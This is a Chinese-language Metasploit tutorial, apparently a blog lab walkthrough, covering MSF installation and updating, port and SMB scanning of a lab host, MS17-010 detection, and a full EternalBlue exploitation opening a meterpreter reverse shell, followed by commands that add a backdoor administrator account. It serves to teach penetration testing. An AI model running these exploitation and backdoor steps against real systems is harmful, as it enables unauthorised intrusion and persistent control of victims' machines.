使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示。
“理论联系实际”是最好的学习方法,我们已经大概了解了 MSF渗透攻击的基础知识,下面进行一次简单的渗透实验来熟悉整个过程。
msfconsole
:启动MSF框架。exit
:退出MSF框架。也可以使用快捷键Ctrl+\
。back
:退出到上一级。apt-get update
:同步 /etc/apt/sources.list 和 /etc/apt/sources.list.d 中列出的源的索引,这样才能获取到最新的软件包。 。apt-get upgrade
: 使用该命令前要先使用update。升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态 。apt-get dist-upgrade
:升级整个Linux 系统,例如从Kali Linux 1.0.1 升级到 Kali Linux 1.0.2(不仅能够升级所有己安装的软件包 ,而且会处理升级过程中可能出现的软件冲突 。 某些情况下,它的部分升级过程需要人工参与)。apt update
再使用 apt install metasploit-framework
。msfconsole
,进入MSF框架。执行过程如下,可以看到当前版本为6.1.14。┌──(rootkali)-[~]
└─# msfconsole
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================
Press ENTER to size up the situation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to continue
=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
exit
退出MSF框架,来进行框架升级。apt update
,再使用apt install metasploit-framework
。msfconsole
,查询更新后版本,执行过程如下。可以看到版本已更新到6.1.30,响应EXP等利用模块均增加了。┌──(rootkali)-[~]
└─# msfconsole
=[ metasploit v6.1.30-dev ]
+ -- --=[ 2200 exploits - 1165 auxiliary - 395 post ]
+ -- --=[ 596 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
扫描和收集信息是渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤的主要关注点是目标机器IP地址、可用服务、开放端口等。
search portscan
命令查询一下有哪些可用的端口扫描模块,执行过程如下。Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
3 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
4 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
7 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access
msf6 >
use auxiliary/scanner/portscan/tcp
进入对应模块(看>号前面的内容就知道自己所处模块位置),再输入show options
查询对应模块需要使用的参数。msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf6 auxiliary(scanner/portscan/tcp) >
set
命令设置某个参数值,可以使用unset
命令取消某个参数值的设置,设置完毕后使用run
命令执行模块,可以看到扫描结果如下,445端口存在可能利用的永恒之蓝漏洞。msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.7
RHOSTS => 192.168.1.7
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 16
THREADS => 16
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.1.7: - 192.168.1.7:135 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:139 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:445 - TCP OPEN
[+] 192.168.1.7: - 192.168.1.7:5357 - TCP OPEN
[*] 192.168.1.7: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) >
setg
命令和unsetg
命令 。二者用于在msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值。search scanner
可以发现大量的扫描模块,约有600多个,建议读者多尝试不同的辅助扫描模块,了解其用法。search scanner/smb
搜索与SMB服务相关的模块,搜索结果如下。使用的步骤与使用端口扫描模块时的基本相同,就不再演示了。msf6 > search scanner/smb
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal No DCOM Exec
1 auxiliary/scanner/smb/impacket/secretsdump normal No DCOM Exec
2 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
3 auxiliary/scanner/smb/psexec_loggedin_users normal No Microsoft Windows Authenticated Logged In Users Enumeration
4 auxiliary/scanner/smb/smb_enumusers_domain normal No SMB Domain User Enumeration
5 auxiliary/scanner/smb/smb_enum_gpp normal No SMB Group Policy Preference Saved Passwords Enumeration
6 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner
7 auxiliary/scanner/smb/smb_lookupsid normal No SMB SID User Enumeration (LookupSid)
8 auxiliary/scanner/smb/pipe_auditor normal No SMB Session Pipe Auditor
9 auxiliary/scanner/smb/pipe_dcerpc_auditor normal No SMB Session Pipe DCERPC Auditor
10 auxiliary/scanner/smb/smb_enumshares normal No SMB Share Enumeration
11 auxiliary/scanner/smb/smb_enumusers normal No SMB User Enumeration (SAM EnumUsers)
12 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
13 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
14 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal No WMI Exec
nmap -A 192.168.1.7
对靶机进行全面扫描,过程如下,可以看到445端口开启着,可能存在利用永恒之蓝漏洞。msf6 > nmap -A 192.168.1.7
[*] exec: nmap -A 192.168.1.7
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-27 00:52 EDT
Nmap scan report for 192.168.1.7 (192.168.1.7)
Host is up (0.00074s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7600 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:F2:1D:C2 (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: DU-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -2h39m58s, deviation: 4h37m07s, median: 0s
| smb-os-discovery:
| OS: Windows 7 Professional 7600 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::-:professional
| Computer name: du-PC
| NetBIOS computer name: DU-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-03-27T12:53:38+08:00
| smb2-time:
| date: 2022-03-27T04:53:38
|_ start_date: 2022-03-26T15:18:54
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: DU-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:f2:1d:c2 (VMware)
TRACEROUTE
HOP RTT ADDRESS
1 0.74 ms 192.168.1.7 (192.168.1.7)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.55 seconds
msf6 >
search sm17_010
查询与永恒之蓝相关的可利用模块,发现公有4个模块,辅助模块和利用模块各两个。msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010
进入永恒之蓝漏洞扫描模块,输入参数options
查看所需参数。msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlis yes List of named pipes to check
ts/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using
-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
set
命令设置参数后使用run
命令运行该模块。在运行结果的第一行中,Host is likely VULNERABLE to MS17-010!表示主机可能会受到ms17-010漏洞的伤害,也就是存在该漏洞。msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.7
RHOSTS => 192.168.1.7
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.1.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
[*] 192.168.1.7:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
use exploit/windows/smb/ms17_010_eternalblue
进入该模块,并输入命令options
查看所需参数。msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Win dows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
set
命令设置参数后使用run
命令运行该模块。可以看到漏洞已经利用成功,接下去就可以设置用户及其他留后门的手段了。msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.7
RHOSTS => 192.168.1.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] 192.168.1.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
[*] 192.168.1.7:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.7:445 - The target is vulnerable.
[*] 192.168.1.7:445 - Connecting to target for exploitation.
[+] 192.168.1.7:445 - Connection established for exploitation.
[+] 192.168.1.7:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.7:445 - CORE raw buffer dump (27 bytes)
[*] 192.168.1.7:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.1.7:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 30 sional 7600
[+] 192.168.1.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.7:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.7:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.7:445 - Starting non-paged pool grooming
[+] 192.168.1.7:445 - Sending SMBv2 buffers
[+] 192.168.1.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.7:445 - Sending final SMBv2 buffers.
[*] 192.168.1.7:445 - Sending last fragment of exploit packet!
[*] 192.168.1.7:445 - Receiving response from exploit packet
[+] 192.168.1.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.7:445 - Sending egg to corrupted connection.
[*] 192.168.1.7:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.7:49165 ) at 2022-03-27 01:46:05 -0400
[+] 192.168.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
meterpreter > shell
Process 2684 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>
C:\Windows\system32>net user hacker 123456 /add
net user hacker 123456 /add
�����ɹ����ɡ�
C:\Windows\system32>net localgroup /add administrators hacker
net localgroup /add administrators hacker
�����ɹ����ɡ�
C:\Windows\system32>
至此,已经完成了对该漏洞的检验与利用。